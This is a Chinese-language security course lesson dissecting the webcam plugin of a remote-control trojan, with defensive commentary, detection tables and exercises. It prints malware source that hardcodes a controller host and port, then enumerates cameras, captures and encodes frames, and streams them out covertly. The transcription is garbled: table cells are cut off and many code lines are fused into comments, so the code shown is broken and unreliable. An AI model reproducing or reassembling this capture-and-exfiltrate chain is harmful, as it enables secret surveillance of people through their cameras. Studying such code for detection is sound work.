第 36 课:主插件:视频查看
# 第 36 课:主插件:视频查看
免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。
本课围绕 主插件\视频查看 展开。这个模块的核心能力是枚举摄像头、建立 DirectShow 采集链路、从回调里取得图像帧,再把图像数据封装成插件协议发送给主控端。对企业安全工程来说,它属于典型的外设隐私风险面:不只是“有没有网络连接”,还要看进程是否访问摄像头、是否持续生成图像帧、是否在用户无感知的情况下上传视频数据。
本课只从源码理解、防御分析和企业检测角度讲解,不提供任何部署、控制或绕过检测的方法。
# 1. 本课学习目标
读完本课,你应该能理解:
视频查看插件在整体工程中的角色?
CVideoManager和CCaptureVideo的职责边界?DirectShow 设备枚举、视频格式设置、SampleGrabber 回调的大致流程?
TOKEN_WEBCAM_BITMAPINFO和TOKEN_WEBCAM_DIB分别代表什么数据?为什么摄像头访问、图像编码和持续上行流量需要放在一起检测?
企业如何从主机、内存、网络和合规角度识别这类风险。
# 2. 源码目录和文件
| 路径 | 作用 |
|---|---|
主插件\视频查看\视频查看.sln | 视频查看插件解决方案 |
主插件\视频查看\视频查看\视频查看.cpp | 插件入口、网络连接、管理器创建 |
主插件\视频查看\视频查看\VideoManager.h | CVideoManager 声明、命令枚举、成员变 |
主插件\视频查看\视频查看\VideoManager.cpp | 命令处理、设备列表发送、帧发送、工作线 |
主插件\视频查看\视频查看\CaptureVideo.h | DirectShow 采集类、设备结构、回调结 |
主插件\视频查看\视频查看\CaptureVideo.cpp | 摄像头枚举、采集图构建、SampleGrabber、帧队列 |
主插件\视频查看\视频查看\XvidEnc.h/.cpp | Xvid 编码封装 |
主插件\视频查看\视频查看\xvid.h | Xvid 接口声明 |
主插件\视频查看\视频查看\Include\qedit.h | SampleGrabber 相关接口 |
依赖说明: 本课涉及 DirectShow、SampleGrabber Xvid。DirectShow 负责枚举摄像头和建立采集 Graph,SampleGrabber 负责把视频帧回调给程序,Xvid 负责图像压缩编码。它们都有合法多媒体用途,但在本项目里与远程命令、摄像头访问、帧队列和网络发送组合出现,应按外设隐私风险处理。
Xvid 是一个 MPEG-4 ASP 视频编码库,常见用途是把原始 RGB/BGR 图像帧压缩成更小的码流,降低存储和传输成本。本工程Xvid 当作摄像头帧压缩器:摄像头帧先进?SampleGrabber 回调,再进入 CXvidEnc::Encode,编码后的字节流进入队列,最后由 CVideoManager::sendNextScreen 封成 TOKEN_WEBCAM_DIB 网络包。需要强调的是:Xvid 库本身不是风险,风险来自“摄像头采集 + 编码压缩 + 未授权外传”的组合。
// 源码位置:主插件\视频查看\视频查看\CaptureVideo.h:10-34
#include <dshow.h> // DirectShow:枚举设备、构Filter Graph
#include ".\Include\qedit.h" // ISampleGrabberCB:让程序拿到每一帧视频数#include <amvideo.h> // VIDEOINFOHEADER、BITMAPINFO 等视频格式结#pragma comment(lib,"Strmiids.lib")
#include "XvidEnc.h" // 本工程对 Xvid 编码器的轻量封装
#ifdef _WIN64
#ifdef _DEBUG
#pragma comment(lib, "xvid_64_d.lib") // x64 Debug Xvid #else
#pragma comment(lib, "xvid_64_r.lib") // x64 Release Xvid #endif
#else
#ifdef _DEBUG
#pragma comment(lib, "xvid_32_d.lib") // x86 Debug Xvid #else
#pragma comment(lib, "xvid_32_r.lib") // x86 Release Xvid #endif
#endif
// 防御分析:静态检测不能只看到 xvid_*.lib 就定性// 更可靠的判断是:同一进程是否同时出现视频输入设备枚举、SampleGrabber 回调// Xvid 编码器初始化、以及持续向外部连接发送图像数据?
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

# 3. 模块在整体工程中的角。
前面几课讲过多个屏幕类插件,它们抓的是桌面或窗口内容;本课的视频查看插件抓的是摄像头内容。两者在工程形态上很像:入口文件连接主控端,连接成功后创建一Manager,Manager 处理命令并持续发送采集数据。 区别在于风险面更敏感。屏幕采集主要暴露屏幕内容,摄像头采集会涉及人脸、办公环境、会议室、屏幕外信息和员工隐私。企业检测不能只问“这个程序是不是远控”,还要问:
| 观察 | 为什么重 |
|---|---|
| 进程是否访问摄像头设 | 摄像头是敏感外设,访问行为本身就应该有授权记 |
| 是否枚举视频输入设备 | 枚举 FriendlyName 和分辨率通常是采集前置动 |
| 是否使用 DirectShow/SampleGrabber | 这是 Windows 上常见的视频采集链路 |
| 是否持续产生图像 | 单次访问和连续帧上传的风险不 |
| 是否伴随外联或上行流 | 外设访问叠加网络外传才是高风险组 |
# 4. 先看入口:连接成功后创建 CVideoManager
入口文件和其他插件保持一致:准备 plugInfo,创TCP 或 UDP socket,连接成功后实例化对Manager,再进入事件循环。
// 源码位置:主插件\视频查看\视频查看\视频查看.cpp:8-42
// 防御分析注释:入口文件把网络连接和视频管理器绑定在一起// 企业侧看到“陌生进+ 外联 + 摄像头访问”时,应当按高风险组合处理struct plugInfo
{
char mark[30]; // 标记
TCHAR szAddress[255]; // 连接地址
DWORD szPort; // 连接端口
BOOL IsTcp;
BOOL RunDllEntryProc;
} MyInfo =
{
"plugmark",
_T("iamasbcx.asuscomm.com"),
6000,
1,
0,
};
DWORD WINAPI MainThread(LPVOID dllMainThread)
{
ISocketBase* socketClient;
if (MyInfo.IsTcp == 1)
socketClient = new CTcpSocket();
else
socketClient = new CUdpSocket();
if (socketClient->Connect(MyInfo.szAddress, MyInfo.szPort))
{
CVideoManager manager(socketClient);
socketClient->run_event_loop();
}
SAFE_DELETE(socketClient);
if (MyInfo.RunDllEntryProc)
ExitProcess(0);
return 0;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
新手看这类插件时不要一上来就追图像采集细节,先确认三个问题。
谁负责网络连接?
谁负责接收主控命令?
谁负责访问本机敏感资源。 在本课里,答案分别是
ISocketBase、CVideoManager、CCaptureVideo?
# 5. 关键结构和函数位置
| 文件 | 结构/函数 | 大致行号 | 作用 |
|---|---|---|---|
VideoManager.h | 命令枚举 | 6-13 | 定义视频相关命令token |
VideoManager.cpp | CVideoManager::OnReceive | 37-63 | 处理主控命令 |
VideoManager.cpp | sendBITMAPINFO | 65-81 | 发送图像格式和设备列表 |
VideoManager.cpp | sendNextScreen | 83-113 | 发送下一帧图 |
VideoManager.cpp | WorkThread | 136-156 | 初始化、等待对话框、启动采集、循环发 |
VideoManager.cpp | Initialize | 160-229 | 创建设备对象、枚举设备、启动采 |
CaptureVideo.cpp | EnumDevices | 109-176 | 枚举摄像头设备和分辨 |
CaptureVideo.cpp | Start | 240-382 | 构建 DirectShow 采集 |
CaptureVideo.cpp | GetDIB | 471-487 | 从帧队列取数 |
CaptureVideo.cpp | GrabVideoFrames | 489-493 | 打开或关闭采集回 |
XvidEnc.cpp | Open / enc_core | 128-251 | 初始化并调用 Xvid 编码 |
# 6. CVideoManager 的命令分。
CVideoManager::OnReceive 是主控命令进入视频模块后的第一站。它根据 token 判断是否打开对话框、调整分辨率、开启或关闭压缩。
// 源码位置:主插件\视频查看\视频查看\VideoManager.cpp:37-63
// 防御分析注释:这里把网络命令直接转成摄像头动作// 安全监控可以把“收到视频命令”与“摄像头 API 调用”放在同一时间窗关联void CVideoManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
if (lpBuffer[0] == TOKEN_HEARTBEAT) return;
switch (lpBuffer[0])
{
case COMMAND_NEXT_CWebCamDlg:
NotifyDialogIsOpen();
break;
case COMMAND_WEBCAM_ENABLECOMPRESS:
// 原代码这里预留压缩开关逻辑 // 防御侧关注点:图像编码库启用后,上行流量形态可能发生变化 break;
case COMMAND_WEBCAM_DISABLECOMPRESS:
InterlockedExchange((LPLONG)&m_bIsCompress, FALSE);
break;
case COMMAND_WEBCAM_RESIZE:
m_SelectedDevice = *((LPDWORD)(lpBuffer + 9));
ResetScreen(*((LPDWORD)(lpBuffer + 1)), *((LPDWORD)(lpBuffer + 5)));
break;
default:
break;
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
这段代码有两个学习点
| 学习 | 解释 |
|---|---|
| 命令和敏感动作靠 token 连接 | token 本身不敏感,但它触发的设备访问很敏感 |
| 分辨率和设备选择来自网络缓冲 | 防御分析时要关注网络输入是否直接影响本机采集参数 |
# 7. 工作线程:从初始化到持续发帧
WorkThread 把视频链路串起来:先初始化摄像头,发送设备和图像格式信息,等主控界面打开,再开启采集并循环发送帧。
// 源码位置:主插件\视频查看\视频查看\VideoManager.cpp:136-156
// 防御分析注释:持续循sendNextScreen 是摄像头数据外传的核心行为// 如果企业只检测“摄像头打开”而不关联网络上行,会漏掉完整风险链unsigned CVideoManager::WorkThread(LPVOID lparam)
{
CVideoManager* pThis = (CVideoManager*)lparam;
// 第一步:初始CCaptureVideo // Initialize 会枚举摄像头、拼接设备列表,并尝试按默认 320x240 打开设备 // 防御分析:这里会触发摄像头枚举和 DirectShow Graph 创建 if (!pThis->Initialize())
{
pThis->Destroy();
pThis->m_pClient->Disconnect();
return -1;
}
// 第二步:先发BITMAPINFO 和设备列表 // 主控端只有先知道图像格式、设备数量和设备名,后续才能正确显示或切换设备 pThis->sendBITMAPINFO();
// 第三步:等待主控端摄像头窗口打开 // 这避免插件刚连接就立即开始发帧,但一旦窗口打开,后续会持续发送 pThis->WaitForDialogOpen();
// 第四步:打开 SampleGrabber 回调开关 // 真实帧数据会CSampleGrabberCB::SampleCB 进入 CCaptureVideo::CamFrameData pThis->StartCapture();
while (pThis->m_bIsWorking)
{
// 第五步:等待编码队列中的下一帧,封包后发给主控 // 防御分析:持续循环是外设隐私数据外传的核心证据之一 pThis->sendNextScreen();
}
pThis->Destroy();
return 0;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
这里的“循环发帧”是检测重点。正常视频会议软件也会持续发帧,所以不能只靠行为本身定性,还要结合进程身份、签名、安装来源、用户授权、前台窗口、摄像头指示灯状态和网络目的地。
# 8. 设备枚举:DirectShow 找到摄像。
枚举流程大致是:创建 CaptureGraphBuilder,创SystemDeviceEnum,再通过 CLSID_VideoInputDeviceCategory 枚举视频输入设备。

// 源码位置:主插件\视频查看\视频查看\CaptureVideo.cpp:109-176
// 防御分析注释:CLSID_VideoInputDeviceCategory 是摄像头枚举的高价值信号// 结合进程画像和后续网络行为,可以减少误报int CCaptureVideo::EnumDevices(DeviceInfo* head)
{
if (!head)
return 0;
DeviceInfo* ptr = head;
int id = 0;
ICaptureGraphBuilder2* pBuilder = NULL;
ICreateDevEnum* pCreateDevEnum = NULL;
IBaseFilter* pVCap = NULL;
IAMStreamConfig* pVSC = NULL;
HRESULT hr = CoCreateInstance(
CLSID_CaptureGraphBuilder2,
NULL,
CLSCTX_INPROC,
IID_ICaptureGraphBuilder2,
(void**)&pBuilder);
if (hr != NOERROR)
return -1;
hr = CoCreateInstance(
CLSID_SystemDeviceEnum,
NULL,
CLSCTX_INPROC_SERVER,
IID_ICreateDevEnum,
(void**)&pCreateDevEnum);
if (hr != NOERROR)
return -1;
CComPtr<IEnumMoniker> pEm;
hr = pCreateDevEnum->CreateClassEnumerator(
CLSID_VideoInputDeviceCategory,
&pEm,
0);
if (hr != NOERROR)
return -1;
pEm->Reset();
// 后续逻辑会读FriendlyName,并通过 IAMStreamConfig 获取可用分辨率 // 防御侧不需要复现枚举,只需要识别“枚举摄像头 + 读取设备名”的行为链}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
企业侧可以把这类 API 作为候选信号,但不能单独拉高到严重告警。浏览器、会议软件、录屏软件、虚拟摄像头工具都可能正常枚举摄像头。真正需要关注的是后续是否出现了未经授权的持续采集和外联。
# 9. 采集链路:构DirectShow Graph
CCaptureVideo::Start 负责真正建立采集链路。代码中创建SampleGrabber、NullRenderer,设置视频格式,并把采集流渲染到 Grabber。
// 源码位置:主插件\视频查看\视频查看\CaptureVideo.cpp:240-382
// 防御分析注释:SampleGrabber + NullRenderer 表示程序只想拿到帧数据,
// 不一定要在本机显示预览画面。这对“无界面摄像头采集”很关键HRESULT CCaptureVideo::Start(int iDeviceID, HWND hWnd, int width, int height)
{
// 1. 创建 Filter Graph CaptureGraphBuilder // 防御分析:这DirectShow 视频采集链路的起点 HRESULT hr = InitCaptureGraphBuilder();
if (FAILED(hr))
return hr;
// 2. 根据设备编号绑定摄像Filter // iDeviceID 来自主控端选择或默认值,最终会影响打开哪个摄像头 if (!BindFilter(iDeviceID, &m_pBF))
return S_FALSE;
hr = m_pGB->AddFilter(m_pBF, L"Capture Filter");
// 3. 创建 SampleGrabber // SampleGrabber 的作用不是显示画面,而是把每一帧交给程序回调处理 hr = CoCreateInstance(
CLSID_SampleGrabber,
NULL,
CLSCTX_INPROC_SERVER,
IID_ISampleGrabber,
(void**)&m_pGrabber);
if (FAILED(hr))
return hr;
// 4. 创建 NullRenderer // 这意味着 Graph 可以跑起来,但本地不必显示预览窗口 // 防御分析:SampleGrabber + NullRenderer 是“取帧但不显示”的典型形态 hr = CoCreateInstance(
CLSID_NullRenderer,
NULL,
CLSCTX_INPROC_SERVER,
IID_IBaseFilter,
(LPVOID*)&m_pNullRenderer);
if (FAILED(hr))
return hr;
AM_MEDIA_TYPE mt;
ZeroMemory(&mt, sizeof(AM_MEDIA_TYPE));
mt.majortype = MEDIATYPE_Video;
mt.subtype = MEDIASUBTYPE_RGB32;
// 5. 指定输入SampleGrabber 的格式为 RGB32 // 后续 XvidEnc.cpp 中使XVID_CSP_RGBA,与这里RGB32 路径对应 hr = m_pGrabber->SetMediaType(&mt);
if (FAILED(hr))
return hr;
// 6. 设置宽高和帧率 // AvgTimePerFrame = 10000000 / 10,约等于 10 FPS // 防御分析:帧率、宽高和持续时间会影响网络流量形态 m_pGrabber->SetBufferSamples(FALSE);
m_pGrabber->SetOneShot(FALSE);
// 7. 注册回调。参0 表示SampleCB,而不BufferCB // 后续每一帧会进入 CSampleGrabberCB::SampleCB m_pGrabber->SetCallback(&mCB, 0);
// 8. 初始Xvid 编码器 // XVID_GLOBAL_INIT 是全局初始化,Open 创建编码器实例 m_pEnc = new CXvidEnc;
m_pEnc->AttachCaller(mCB.lWidth, mCB.lHeight, this);
CXvidEnc::XVID_GLOBAL_INIT();
m_pEnc->Open();
m_bIsStarted = true;
return S_OK;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
这段代码告诉我们三个检测方向:
| 方向 | 说明 |
|---|---|
| DirectShow COM 对象 | CLSID_SampleGrabber、CLSID_NullRenderer、IAMStreamConfig |
| 图像格式 | RGB32、宽高、帧率设置 |
| 编码 | Xvid 初始化和帧编码行为 |
# 10. 帧流转:回调、队列、发送。
SampleGrabber 拿到图像后会进入回调,最终进入 GetDIB 队列,再由 CVideoManager::sendNextScreen 组包发送。

先看 SampleGrabber 回调。SetCallback(&mCB, 0) 选择的是 SampleCB 路径,帧数据会从 IMediaSample 里取出来,再交给 CCaptureVideo::CamFrameData。
// 源码位置:主插件\视频查看\视频查看\CaptureVideo.h:175-187
STDMETHODIMP SampleCB(double SampleTime, IMediaSample* pSample)
{
unsigned char* buffer;
// DirectShow IMediaSample 中取得当前帧的内存指针
// 防御分析:这里拿到的是摄像头原始帧,不是网络包,也不是文件内容
HRESULT hr = pSample->GetPointer((BYTE**)&buffer);
if (hr != S_OK)
return S_OK;
// bGrabVideo CVideoManager::StartCapture 打开 // frame_handler 指向 CCaptureVideo,因此下一步会进入 CamFrameData if (bGrabVideo && frame_handler)
frame_handler->CamFrameData(0, buffer, pSample->GetActualDataLength());
return 0;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
CamFrameData 并不直接发网络包,它只把当前帧交Xvid 编码器。编码完成后,Xvid 通过回调 PostEncHandler 把压缩结果放入队列。
// 源码位置:主插件\视频查看\视频查看\CaptureVideo.cpp:86-102
void CCaptureVideo::CamFrameData(double dblSampleTime, BYTE* pBuffer, long lBufferSize)
{
// pBuffer SampleGrabber 给出的当前摄像头帧 // lBufferSize 是帧缓冲大小,源码没有在这里做大小校验 // 防御分析:这里是“摄像头帧进入编码器”的关键点 if (m_pEnc != NULL)
m_pEnc->Encode(pBuffer);
}
void CCaptureVideo::PostEncHandler(unsigned char* xvid, int key, int xvid_len)
{
// Xvid 编码结果前面4 字节长度,形成内部队列元素:
// [0..3] 编码后数据长 // [4..] Xvid 编码数据
// 注意:key 标识是否关键帧,但这段源码没有把 key 写入队列 char* pByte = new char[xvid_len + 4];
memcpy(pByte, &xvid_len, sizeof(int));
memcpy(pByte + sizeof(int), xvid, xvid_len);
// m_lpBuf 是编码后帧队列,sendNextScreen 会从这里取下一帧 // 临界区用于避免回调线程和发送线程同时访问队列 EnterCriticalSection(&m_cs);
m_lpBuf.push_back(pByte);
LeaveCriticalSection(&m_cs);
// 唤醒等待队列的发送线程 SetEvent(m_hCaptureEvent);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// 源码位置:主插件\视频查看\视频查看\CaptureVideo.cpp:471-493
// 防御分析注释:GetDIB 会等待采集事件,并从队列弹出图像帧// 这类“事件等+ 队列取帧 + 网络发送”的组合很适合做行为关联LPBYTE CCaptureVideo::GetDIB()
{
DWORD dwRet = WaitForSingleObject(m_hCaptureEvent, INFINITE);
EnterCriticalSection(&m_cs);
if (m_lpBuf.empty())
{
LeaveCriticalSection(&m_cs);
return NULL;
}
else
{
LPBYTE pByte = (LPBYTE)(m_lpBuf.front());
m_lpBuf.pop_front();
LeaveCriticalSection(&m_cs);
return pByte;
}
}
void CCaptureVideo::GrabVideoFrames(BOOL bGrabVideoFrames, CCamFrameHandler* frame_handler)
{
mCB.frame_handler = frame_handler;
mCB.bGrabVideo = bGrabVideoFrames;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// 源码位置:主插件\视频查看\视频查看\VideoManager.cpp:83-113
// 防御分析注释:这段代码把摄像头帧封装TOKEN_WEBCAM_DIB 后发送// 注意:原代码在空指针检查前读取 lpDIB,健壮性较差,容易形成异常崩溃点void CVideoManager::sendNextScreen()
{
LPVOID lpDIB = m_pCapVideo->GetDIB();
// 更稳妥的写法应先判断 lpDIB 是否为空 // 原代码在这里先把 lpDIB 转成 p_len,再检查空指针 if (lpDIB == NULL)
return;
unsigned char* pPos = (unsigned char*)lpDIB;
int* p_len = (int*)lpDIB;
int len = *p_len;
int nHeadLen = 1 + 1 + 4;
UINT nBufferLen = nHeadLen + len;
LPBYTE lpBuffer = new BYTE[nBufferLen];
memset(lpBuffer, 0, nBufferLen);
// m_fccHandler 在这里被写成固定1324 // 源码没有把它做成标准 FourCC,也没有Xvid keyframe 信息一起发送 // 防御分析:这类自定义字段更适合在协议还原时作为工程指纹 m_fccHandler = 1324;
// TOKEN_WEBCAM_DIB 表示“视频查看插件的一帧图像数据” // lpBuffer[1] 标记是否压缩,但源码强制 m_bIsCompress = FALSE // 实际 payload 来自 Xvid 编码队列,命名和真实内容存在混乱 lpBuffer[0] = TOKEN_WEBCAM_DIB;
m_bIsCompress = FALSE;
lpBuffer[1] = m_bIsCompress;
memcpy(lpBuffer + 2, &m_fccHandler, sizeof(DWORD));
// pPos + 4 跳过队列里保存的 xvid_len,只发送编码后的帧数据 memcpy(lpBuffer + nHeadLen, pPos + 4, len);
Send(lpBuffer, len + nHeadLen);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# 11. BITMAPINFO 和设备列表为什么先。
sendBITMAPINFO 会把图像格式、设备数量和设备名列表发给主控端。对新手来说,可以把它理解成“先告诉对方画面怎么解释,再发送真正的图像帧”。
// 源码位置:主插件\视频查看\视频查看\VideoManager.cpp:65-81
// 防御分析注释:TOKEN_WEBCAM_BITMAPINFO 携带摄像头能力信息// 如果网络侧能还原协议,设备列表和图像token 都是重要线索void CVideoManager::sendBITMAPINFO()
{
DWORD dwBytesLength =
1 + sizeof(BITMAPINFO) + sizeof(int) + m_DeviceList.length();
LPBYTE lpBuffer = new BYTE[dwBytesLength];
if (lpBuffer == NULL || m_pCapVideo == NULL)
return;
lpBuffer[0] = TOKEN_WEBCAM_BITMAPINFO;
memcpy(lpBuffer + 1, m_pCapVideo->m_lpbmi, sizeof(BITMAPINFO));
memcpy(lpBuffer + 1 + sizeof(BITMAPINFO), &m_nDevicesNum, sizeof(int));
memcpy(
lpBuffer + 1 + sizeof(BITMAPINFO) + sizeof(int),
m_DeviceList.c_str(),
m_DeviceList.length());
Send(lpBuffer, dwBytesLength);
delete[] lpBuffer;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
协议视角下,本模块至少有两类关键包:
| Token | 含义 | 防御价值 |
|---|---|---|
TOKEN_WEBCAM_BITMAPINFO | 图像格式和设备列 | 可辅助判断摄像头链路是否建立 |
TOKEN_WEBCAM_DIB | 单帧图像数据 | 可辅助判断是否持续外传视频帧 |
# 12. 编码链路:Xvid 不是问题,组合行为才是问。
Xvid 本身是合法视频编码库,很多老项目都可能使用它。它的职责是把原始图像帧压缩成更小的 MPEG-4 ASP 码流,降低带宽和存储成本。本工程中,Xvid 的位置很明确:它不负责枚举摄像头,也不负责网络发送,只负责把 SampleGrabber 交上来的 RGB32 帧编码成字节流。

// 源码位置:主插件\视频查看\视频查看\XvidEnc.cpp:128-187,203-251
// 防御分析注释:这里初始化编码器并把摄像头帧转成压缩码流// 企业检测不应把 Xvid 单独定性为恶意,而应结合摄像头访问、SampleGrabber 回调// 编码队列增长、TOKEN_WEBCAM_DIB 发送和外联目的地综合判断bool CXvidEnc::Open()
{
if (!m_enc_caller)
return false;
xvid_enc_create_t xvid_enc_create;
memset(&xvid_enc_create, 0, sizeof(xvid_enc_create));
// XVID_VERSION 用于保证头文件和库的结构体版本一致 xvid_enc_create.version = XVID_VERSION;
// 编码宽高来自 CCaptureVideo::Start 中设置的采集宽高 // 防御分析:宽高越大,CPU 使用率和网络包大小通常越明显 xvid_enc_create.width = m_width;
xvid_enc_create.height = m_height;
// profile、帧率、关键帧间隔等属于编码参数 // 本课不讲如何调参,只关注它说明“原始摄像头帧正在进入视频编码器” xvid_enc_create.profile = XVID_PROFILE_AS_L4;
xvid_enc_create.fincr = 1;
xvid_enc_create.fbase = 15;
// XVID_ENC_CREATE 创建编码器句柄,后续每帧通过这个句柄编码 xvid_encore(NULL, XVID_ENC_CREATE, &xvid_enc_create, NULL);
m_enc_handle = xvid_enc_create.handle;
return true;
}
int CXvidEnc::enc_core(unsigned char* image, unsigned char* bitstream, int* key)
{
xvid_enc_frame_t xvid_enc_frame;
memset(&xvid_enc_frame, 0, sizeof(xvid_enc_frame));
xvid_enc_frame.version = XVID_VERSION;
// bitstream 是输出缓冲区,MAX_ENC_BUF 限制一次编码输出的最大长度 // 防御分析:内存侧可关注固定大小视频码流缓冲和频繁写入 xvid_enc_frame.bitstream = bitstream;
xvid_enc_frame.length = MAX_ENC_BUF;
// image 指向 SampleGrabber 交上来的原始帧 xvid_enc_frame.input.plane[0] = image;
// MY_TEST 路径使用 RGBA,步长为 width * 4 // 对应 CaptureVideo.cpp SampleGrabber 设置RGB32 xvid_enc_frame.input.csp = XVID_CSP_RGBA;
xvid_enc_frame.input.stride[0] = m_width * 4;
// Xvid 自动选择帧类型。编码结果是否关键帧out_flags 返回 xvid_enc_frame.type = XVID_TYPE_AUTO;
int ret = xvid_encore(m_enc_handle, XVID_ENC_ENCODE, &xvid_enc_frame, NULL);
// key 只在 PostEncHandler 参数中出现,但当前工程没有把它放入网络包 // 这说明本模块更偏“能传就行”的工程实现,而不是完整规范的视频协议 *key = (xvid_enc_frame.out_flags & XVID_KEYFRAME);
return ret;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
从防御角度看,Xvid 相关证据可以分三层理解:
| 层面 | 证据 | 解释 |
|---|---|---|
| 静态依 | xvid_32_d.lib、xvid_64_r.lib、xvid.h | 说明工程具备 Xvid 编码能力,但不能单独定 |
| 运行行为 | XVID_GBL_INIT、XVID_ENC_CREATE、XVID_ENC_ENCODE | 说明进程正在初始化并使用编码 |
| 组合链路 | 摄像头枚举、SampleGrabber 回调、Xvid 编码、网络发 | 这是需要重点告警和复核的隐私风险链 |
# 13. 风险面拆。

| 风险点 | 具体表现 | 企业关注 |
|---|---|---|
| 设备枚举 | 读取摄像头名称、分辨率 | 是否为授权软 |
| 图像采集 | SampleGrabber 持续拿帧 | 是否有用户可见提 |
| 图像缓冲 | 内存中存在连续图像帧 | 是否有异常进程保存或转发 |
| 网络外传 | 小到中等大小图像包持续上 | 目的地、频率、协议是否异 |
| 合规隐私 | 采集员工和办公环境画 | 是否有授权、告知、留 |
# 14. 企业检测点

| 检测层 | 建议检测点 |
|---|---|
| 主机 | 进程加载 DirectShow 组件、访问视频输入设备、创建采集线 |
| 设备 | 摄像头开启事件、摄像头指示灯状态、Windows 隐私设置记录 |
| 内存 | 进程内存在连RGB/DIB 帧缓冲、视频编码器上下 |
| 网络 | 摄像头访问后出现持续上行流量、目的地不在白名 |
| 进程 | 可执行文件路径异常、无签名、伪装系统进程、非交互场景访问摄像 |
| 关联分析 | 摄像头枚举、SampleGrabber 回调、图像包发送在同一时间窗口出现 |
# 15. 误报来源
| 误报来源 | 排查方式 |
|---|---|
| 视频会议软件 | 查看进程签名、前台窗口、会议时间、用户操作记 |
| 浏览WebRTC | 关联浏览器标签、站点权限和摄像头授权提 |
| 录屏或直播工 | 核对安装来源、用户启动记录、输出目的地 |
| 虚拟摄像头软 | 查看驱动和设备名称,确认是否为企业批准组 |
| 安防或门禁客户端 | 核对资产用途和业务负责 |
# 16. 合法练习:
在不运行插件的前提下,画出
CVideoManager -> CCaptureVideo -> SampleGrabber -> Send的调用链?基于本课源码,列出三条可以用于企EDR 关联的行为组合?
对比你熟悉的视频会议软件,说明它和本模块在进程身份、用户授权、网络目的地上的差异?
阅读
sendNextScreen,指出空指针检查顺序的问题,并写出防御性修复思路?设计一条“非白名单进程访问摄像头并持续外联”的检测规则,说明可能的误报来源。
# 17. 本课小结
视频查看插件的主线很清楚:入口连接主控端,CVideoManager 处理命令,CCaptureVideo 枚举并打开摄像头,SampleGrabber 获取帧,Manager 把图像格式和帧数据发回去。
防御时不要只盯某一API。单独的 Xvid、DirectShow 或网络连接都可能是合法行为,真正高风险的是它们在同一进程、同一时间窗内组成了“摄像头访问 + 图像帧处+ 持续外联”的完整链路。
安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。
本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。
社区交流
讨论与留言